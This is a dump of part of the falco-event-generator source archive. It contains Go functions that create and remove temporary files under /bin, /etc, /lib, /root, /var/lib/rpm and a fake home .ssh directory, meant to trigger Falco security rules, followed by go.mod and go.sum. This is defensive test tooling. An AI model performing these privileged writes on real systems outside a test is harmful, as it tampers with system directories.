	tmpDir, err := os.MkdirTemp("/home", "falco-event-generator-syscall-SshDirectory-")
	if err != nil {
		return "", func() {}, err
	}

	// create .ssh subdirectory
	sshDir := filepath.Join(tmpDir, ".ssh")
	if err := os.Mkdir(sshDir, os.FileMode(0755)); err != nil {
		return "", func() {
			// any cleanup error should be logged but not returned
			if err := os.RemoveAll(tmpDir); err != nil {
				h.Log().WithError(err).Error("failed to remove temp directory")
			}
		}, err
	}

	return sshDir, func() {
		// any cleanup error should be logged but not returned
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}, nil
}
0707010000007E000081A400000000000000000000000166F189F100000613000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/write_below_binary_dir.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	WriteBelowBinaryDir,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func WriteBelowBinaryDir(h events.Helper) error {
	// ensure /bin exists
	if _, err := os.Stat("/bin"); os.IsNotExist(err) {
		if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /bin directory
		defer func() {
			if err := os.RemoveAll("/bin"); err != nil {
				h.Log().WithError(err).Error("failed to remove /bin directory")
			}
		}()
	}

	// create a unique file under /bin directory
	file, err := os.CreateTemp("/bin", "falco-event-generator-syscall-WriteBelowBinaryDir-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
0707010000007F000081A400000000000000000000000166F189F100000601000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/events/syscall/write_below_etc.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	WriteBelowEtc,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func WriteBelowEtc(h events.Helper) error {
	// ensure /etc exists
	if _, err := os.Stat("/etc"); os.IsNotExist(err) {
		if err := os.Mkdir("/etc", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /etc directory
		defer func() {
			if err := os.RemoveAll("/etc"); err != nil {
				h.Log().WithError(err).Error("failed to remove /etc directory")
			}
		}()
	}

	// create a unique file under /etc directory
	file, err := os.CreateTemp("/etc", "falco-event-generator-syscall-WriteBelowEtc-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
07070100000080000081A400000000000000000000000166F189F10000060B000000000000000000000000000000000000004900000000falco-event-generator-0.12.0/events/syscall/write_below_monitored_dir.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	WriteBelowMonitoredDir,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func WriteBelowMonitoredDir(h events.Helper) error {
	// ensure /lib directory exists
	if _, err := os.Stat("/lib"); os.IsNotExist(err) {
		if err := os.Mkdir("/lib", os.FileMode(0755)); err != nil {
			return err
		}
		defer func() {
			if err := os.RemoveAll("/lib"); err != nil {
				h.Log().WithError(err).Error("failed to remove /lib directory")
			}
		}()
	}

	// create a unique file under /lib directory
	file, err := os.CreateTemp("/lib", "falco-event-generator-syscall-WriteBelowMonitoredDir-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
07070100000081000081A400000000000000000000000166F189F10000060C000000000000000000000000000000000000004000000000falco-event-generator-0.12.0/events/syscall/write_below_root.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	WriteBelowRoot,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func WriteBelowRoot(h events.Helper) error {
	// ensure /root exists
	if _, err := os.Stat("/root"); os.IsNotExist(err) {
		if err := os.Mkdir("/root", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /root directory
		defer func() {
			if err := os.RemoveAll("/root"); err != nil {
				h.Log().WithError(err).Error("failed to remove /root directory")
			}
		}()
	}

	// create a unique file under /root directory
	file, err := os.CreateTemp("/root", "falco-event-generator-syscall-WriteBelowRoot-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
07070100000082000081A400000000000000000000000166F189F100000915000000000000000000000000000000000000004800000000falco-event-generator-0.12.0/events/syscall/write_below_rpm_database.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	WriteBelowRpmDatabase,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func WriteBelowRpmDatabase(h events.Helper) error {
	// ensure /var exists
	if _, err := os.Stat("/var"); os.IsNotExist(err) {
		if err := os.Mkdir("/var", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /var directory
		defer func() {
			if err := os.RemoveAll("/var"); err != nil {
				h.Log().WithError(err).Error("failed to remove /var directory")
			}
		}()
	}

	// ensure /var/lib exists
	if _, err := os.Stat("/var/lib"); os.IsNotExist(err) {
		if err := os.Mkdir("/var/lib", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /var/lib subdirectory only
		defer func() {
			if err := os.RemoveAll("/var/lib"); err != nil {
				h.Log().WithError(err).Error("failed to remove /var/lib directory")
			}
		}()
	}

	// ensure /var/lib/rpm exists
	if _, err := os.Stat("/var/lib/rpm"); os.IsNotExist(err) {
		if err := os.Mkdir("/var/lib/rpm", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /var/lib/rpm subdirectory only
		defer func() {
			if err := os.RemoveAll("/var/lib/rpm"); err != nil {
				h.Log().WithError(err).Error("failed to remove /var/lib/rpm directory")
			}
		}()
	}

	// create a unique file under /var/lib/rpm directory
	file, err := os.CreateTemp("/var/lib/rpm", "falco-event-generator-syscall-WriteBelowRpmDatabase-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
07070100000083000081A400000000000000000000000166F189F10000169E000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/go.modmodule github.com/falcosecurity/event-generator

go 1.23.1

require (
	github.com/creasty/defaults v1.8.0
	github.com/dustin/go-humanize v1.0.1
	github.com/falcosecurity/client-go v0.6.1
	github.com/go-playground/locales v0.14.1
	github.com/go-playground/universal-translator v0.18.1
	github.com/go-playground/validator/v10 v10.22.1
	github.com/iancoleman/strcase v0.3.0
	github.com/mitchellh/go-homedir v1.1.0
	github.com/prometheus/procfs v0.15.1
	github.com/sirupsen/logrus v1.9.3
	github.com/spf13/cobra v1.8.1
	github.com/spf13/pflag v1.0.5
	github.com/spf13/viper v1.19.0
	github.com/stretchr/testify v1.9.0
	golang.org/x/sys v0.25.0
	k8s.io/apimachinery v0.31.1
	k8s.io/cli-runtime v0.31.1
	k8s.io/client-go v0.31.1
	k8s.io/kubectl v0.31.1
)

// avoid indirect dependency mergo error:
// (ref: https://github.com/darccio/mergo?tab=readme-ov-file#status)
// go: github.com/imdario/mergo@v1.0.1: parsing go.mod:
// 	module declares its path as: dario.cat/mergo
// 			but was required as: github.com/imdario/mergo
// 	trying github.com/imdario/mergo@v1.0.0
// go: github.com/imdario/mergo@v1.0.0: parsing go.mod:
// 	module declares its path as: dario.cat/mergo
// 			but was required as: github.com/imdario/mergo
// 	restoring github.com/imdario/mergo@v0.3.16
replace github.com/imdario/mergo => github.com/imdario/mergo v0.3.16

require (
	github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect
	github.com/MakeNowJust/heredoc v1.0.0 // indirect
	github.com/blang/semver/v4 v4.0.0 // indirect
	github.com/chai2010/gettext-go v1.0.3 // indirect
	github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect
	github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
	github.com/emicklei/go-restful/v3 v3.12.1 // indirect
	github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f // indirect
	github.com/fsnotify/fsnotify v1.7.0 // indirect
	github.com/fxamacker/cbor/v2 v2.7.0 // indirect
	github.com/gabriel-vasile/mimetype v1.4.5 // indirect
	github.com/go-errors/errors v1.5.1 // indirect
	github.com/go-logr/logr v1.4.2 // indirect
	github.com/go-openapi/jsonpointer v0.21.0 // indirect
	github.com/go-openapi/jsonreference v0.21.0 // indirect
	github.com/go-openapi/swag v0.23.0 // indirect
	github.com/gogo/protobuf v1.3.2 // indirect
	github.com/golang/protobuf v1.5.4 // indirect
	github.com/google/btree v1.1.3 // indirect
	github.com/google/gnostic-models v0.6.8 // indirect
	github.com/google/go-cmp v0.6.0 // indirect
	github.com/google/gofuzz v1.2.0 // indirect
	github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect
	github.com/google/uuid v1.6.0 // indirect
	github.com/gorilla/websocket v1.5.3 // indirect
	github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect
	github.com/hashicorp/hcl v1.0.0 // indirect
	github.com/imdario/mergo v1.0.1 // indirect
	github.com/inconshreveable/mousetrap v1.1.0 // indirect
	github.com/josharian/intern v1.0.0 // indirect
	github.com/json-iterator/go v1.1.12 // indirect
	github.com/leodido/go-urn v1.4.0 // indirect
	github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de // indirect
	github.com/magiconair/properties v1.8.7 // indirect
	github.com/mailru/easyjson v0.7.7 // indirect
	github.com/mitchellh/go-wordwrap v1.0.1 // indirect
	github.com/mitchellh/mapstructure v1.5.0 // indirect
	github.com/moby/spdystream v0.5.0 // indirect
	github.com/moby/term v0.5.0 // indirect
	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
	github.com/modern-go/reflect2 v1.0.2 // indirect
	github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect
	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
	github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f // indirect
	github.com/pelletier/go-toml/v2 v2.2.3 // indirect
	github.com/peterbourgon/diskv v2.0.1+incompatible // indirect
	github.com/pkg/errors v0.9.1 // indirect
	github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
	github.com/russross/blackfriday/v2 v2.1.0 // indirect
	github.com/sagikazarmark/locafero v0.6.0 // indirect
	github.com/sagikazarmark/slog-shim v0.1.0 // indirect
	github.com/sourcegraph/conc v0.3.0 // indirect
	github.com/spf13/afero v1.11.0 // indirect
	github.com/spf13/cast v1.7.0 // indirect
	github.com/subosito/gotenv v1.6.0 // indirect
	github.com/x448/float16 v0.8.4 // indirect
	github.com/xlab/treeprint v1.2.0 // indirect
	go.starlark.net v0.0.0-20240725214946-42030a7cedce // indirect
	go.uber.org/multierr v1.11.0 // indirect
	golang.org/x/crypto v0.27.0 // indirect
	golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 // indirect
	golang.org/x/net v0.29.0 // indirect
	golang.org/x/oauth2 v0.23.0 // indirect
	golang.org/x/sync v0.8.0 // indirect
	golang.org/x/term v0.24.0 // indirect
	golang.org/x/text v0.18.0 // indirect
	golang.org/x/time v0.6.0 // indirect
	google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect
	google.golang.org/grpc v1.66.2 // indirect
	google.golang.org/protobuf v1.34.2 // indirect
	gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect
	gopkg.in/inf.v0 v0.9.1 // indirect
	gopkg.in/ini.v1 v1.67.0 // indirect
	gopkg.in/yaml.v2 v2.4.0 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
	k8s.io/api v0.31.1 // indirect
	k8s.io/component-base v0.31.1 // indirect
	k8s.io/klog/v2 v2.130.1 // indirect
	k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38 // indirect
	k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3 // indirect
	sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect
	sigs.k8s.io/kustomize/api v0.17.3 // indirect
	sigs.k8s.io/kustomize/kyaml v0.17.2 // indirect
	sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect
	sigs.k8s.io/yaml v1.4.0 // indirect
)
07070100000084000081A400000000000000000000000166F189F1000065F6000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/go.sumgithub.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0=
github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E=
github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ=
github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
github.com/blang/semver/v4 v4.0.0 h1:1PFHFE6yCCTv8C1TeyNNarDzntLi7wMI5i/pzqYIsAM=
github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ=
github.com/chai2010/gettext-go v1.0.3 h1:9liNh8t+u26xl5ddmWLmsOsdNLwkdRTg5AG+JnTiM80=
github.com/chai2010/gettext-go v1.0.3/go.mod h1:y+wnP2cHYaVj19NZhYKAwEMH2CI1gNHeQQ+5AjwawxA=
github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creasty/defaults v1.8.0 h1:z27FJxCAa0JKt3utc0sCImAEb+spPucmKoOdLHvHYKk=
github.com/creasty/defaults v1.8.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/emicklei/go-restful/v3 v3.12.1 h1:PJMDIM/ak7btuL8Ex0iYET9hxM3CI2sjZtzpL63nKAU=
github.com/emicklei/go-restful/v3 v3.12.1/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc=
github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f h1:Wl78ApPPB2Wvf/TIe2xdyJxTlb6obmF18d8QdkxNDu4=
github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f/go.mod h1:OSYXu++VVOHnXeitef/D8n/6y4QV8uLHSFXX4NeXMGc=
github.com/falcosecurity/client-go v0.6.1 h1:zDiz6PHGPdg3sScWe+4juc5n7FLJGCHI9ohAnuRSMFg=
github.com/falcosecurity/client-go v0.6.1/go.mod h1:zVjGk4GLCoBKCo+lGMmdiiL0Ag7ZVVtVt/ldubjghvk=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM=
github.com/fxamacker/cbor/v2 v2.7.0 h1:iM5WgngdRBanHcxugY4JySA0nk1wZorNOpTgCMedv5E=
github.com/fxamacker/cbor/v2 v2.7.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ=
github.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4=
github.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4=
github.com/go-errors/errors v1.5.1 h1:ZwEMSLRCapFLflTpT7NKaAc7ukJ8ZPEjzlxt8rPN8bk=
github.com/go-errors/errors v1.5.1/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og=
github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=
github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ=
github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY=
github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ=
github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4=
github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE=
github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ=
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
github.com/go-playground/validator/v10 v10.22.1 h1:40JcKH+bBNGFczGuoBYgX4I6m/i27HYW8P9FDk5PbgA=
github.com/go-playground/validator/v10 v10.22.1/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc=
github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg=
github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I=
github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 h1:FKHo8hFI3A+7w0aUQuYXQ+6EN5stWmeY/AZqtM8xk9k=
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 h1:+ngKgrYPPJrOjhax5N+uePQ0Fh1Z7PheYoUI/0nzkPA=
github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSASxEI=
github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho=
github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4=
github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de h1:9TO3cAIGXtEhnIaL+V+BEER86oLrvS+kWobKpbJuye0=
github.com/liggitt/tabwriter v0.0.0-20181228230101-89fcab3d43de/go.mod h1:zAbeS9B/r2mtpb6U+EI2rYA5OAXxsYw6wTamcNW+zcE=
github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY=
github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
